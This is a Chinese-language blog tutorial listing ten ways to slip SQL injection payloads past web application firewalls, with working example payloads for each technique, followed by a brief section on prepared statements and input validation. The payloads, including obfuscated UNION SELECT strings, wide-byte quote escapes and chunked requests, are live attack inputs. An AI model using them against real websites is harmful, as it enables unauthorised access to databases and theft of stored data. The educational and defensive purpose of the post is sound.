🚨 前言:WAF 真的万能吗?
WAF 的核心逻辑是正则匹配 (Regex Matching)和特征检测。
只要你的攻击 Payload 长得不像攻击,或者利用了解析差异,就能骗过 WAF,直接捅进数据库的心脏。
攻防逻辑示意图 (Mermaid):
🛠️ 第一阶:基础替换流
1. 大小写混合 (Case Variation)
- 原理:早期的 WAF 规则写得很死,只拦截
UNION SELECT。 - 绕过:
UnIoNSeLeCt1,user(),vErSiOn()2. 空白符替换 (Whitespace Manipulation)
- 原理:WAF 通常拦截空格。
- 绕过:利用数据库支持的其他空白字符。
- MySQL:
%09(TAB),%0a(换行),%0b,%0c,%0d,+。 - Payload:
SELECT/**/id/**/FROM/**/usersSELECT%0aid%0aFROM%0ausers3. 内联注释混淆 (Inline Comments)
- 原理:利用
/* ... */将关键词打断,骗过正则,但在数据库中依然有效。 - 绕过:
UN/**/ION SE/**/LECT password FR/**/OM users⚔️ 第二阶:逻辑与编码流
4. MySQL 版本号特性 (Version Comments)
- 原理:MySQL 特有的语法
/*! ... */。如果里面的数字小于当前版本号,注释内容会被执行。 - 绕过:
/*!50000UNION*//*!50000SELECT*/1,2,3解释:WAF 以为是注释直接放行,但 MySQL 5.0 以上会执行它。
5. 双重 URL 编码 (Double Encoding)
- 原理:WAF 可能只解码一次,但 Web 服务器会解码两次。
- 绕过:
s->%73->%25%37%33- Payload:
id=1%25%35%35%6eion%25%35%33elect1,2#6. 等价函数/符号替换 (Equivalent Substitution)
- 原理:WAF 拦截了
hex()或=,我们就换个写法。 - 绕过:
hex()->bin()/ascii()sleep()->benchmark()=->LIKE/RLIKE/REGEXP/<>AND->&&OR->||- Payload:
id=1&&ascii(substr(user(),1,1))>0🔥 第三阶:协议与底层流
7. HTTP 参数污染 (HPP - Parameter Pollution)
- 原理:当 URL 传递两个同名参数
?id=1&id=2时,WAF 可能只检測第一个,但后端数据库(如 ASP.NET/IIS)可能解析第二个,或者拼接两者。 - 绕过:
?id=1&id=UNION&id=SELECT&id=1,2,38. 缓冲区溢出/超大数据包 (Buffer Overflow)
- 原理:为了性能,WAF 通常只检测请求的前 8KB 或 16KB。如果你塞入大量的垃圾数据,把攻击 Payload 放在最后,WAF 可能会直接放行。
- 绕过:
id=1/*A x 50000*/UNIONSELECT1,2,39. 分块传输编码 (Chunked Transfer Encoding)
- 原理:在 HTTP 头中添加
Transfer-Encoding: chunked,将 Payload 切碎发送。很多 WAF 无法还原分块数据。 - 绕过:
POST /login.php HTTP/1.1 Transfer-Encoding: chunked 4 unio 1 n 4 sele 2 ct ...10. 宽字节注入 (Wide Byte Injection)
- 原理:针对 GBK 编码的数据库。WAF 会转义单引号
'变为\'(%5c%27)。 - 绕过:我们在单引号前加一个
%df。 %df%5c在 GBK 中是一个汉字(運)。- 于是
\'被吃掉了,单引号逃逸了出来。 - Payload:
id=1%df%27 UNION SELECT...🛡️ 防御篇:如何彻底终结 SQL 注入?
看了上面 10 种绕过姿势,你还觉得你的 WAF 安全吗?
真正的防御不能只靠“堵”(WAF),必须靠“治”(代码)。
- 预编译 (Prepared Statements):
- 这是银弹!无论参数怎么写,数据库都只把它当成纯文本,绝不执行。
- Java:
PreparedStatement - PHP:
PDO
- RASP (运行时应用自我保护):
- 比 WAF 更高级,直接挂钩在应用内部,检测到底层调用的 SQL 语句。
- 严格的输入验证:
- 如果你知道
id只能是数字,就用Integer.parseInt()强转,别给黑客留机会。
博主留言:
安全攻防是一场永无止境的猫鼠游戏。
掌握攻击的艺术,是为了更好地构建防御的堡垒。
如果你的生产环境还在拼接 SQL 字符串,请立刻、马上重构代码!
(喜欢这类硬核安全知识?点赞、收藏,下期讲《XSS 跨站脚本攻击的 5 种隐蔽通道》!)